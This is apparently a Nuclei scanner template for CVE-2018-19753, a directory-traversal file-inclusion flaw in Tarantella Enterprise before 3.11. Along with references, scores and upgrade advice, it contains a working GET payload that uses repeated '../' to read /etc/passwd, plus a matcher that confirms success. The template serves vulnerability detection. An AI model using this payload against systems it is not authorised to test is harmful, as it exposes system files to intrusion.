id: CVE-2018-19753 info: name: Tarantella Enterprise <3.11 - Local File Inclusion author: 0x_Akoko severity: high description: | Tarantella Enterprise versions prior to 3.11 are susceptible to local file inclusion. remediation: | Upgrade Tarantella Enterprise to version 3.11 or higher to mitigate this vulnerability. reference: - https://packetstormsecurity.com/files/150541/Tarantella-Enterprise-Directory-Traversal.html - https://nvd.nist.gov/vuln/detail/CVE-2018-19753 - http://seclists.org/fulldisclosure/2018/Nov/66 - http://packetstormsecurity.com/files/150541/Tarantella-Enterprise-Directory-Traversal.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-19753 cwe-id: CWE-22 epss-score: 0.00881 epss-percentile: 0.80614 cpe: cpe:2.3:a:oracle:tarantella_enterprise:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: oracle product: tarantella_enterprise tags: packetstorm,seclists,cve,cve2018,tarantella,lfi http: - method: GET path: - "{{BaseURL}}/tarantella/cgi-bin/secure/ttawlogin.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 4b0a0048304602210081e6c8b7349b1b167507bf773c1a43a436babb256ccd190ae7e35559697734b6022100f556599f5faa8eadac8a13fa7c67a313599bb44cf2e639db8e70331d099575ca:922c64590222798bb761d5b6d8e72950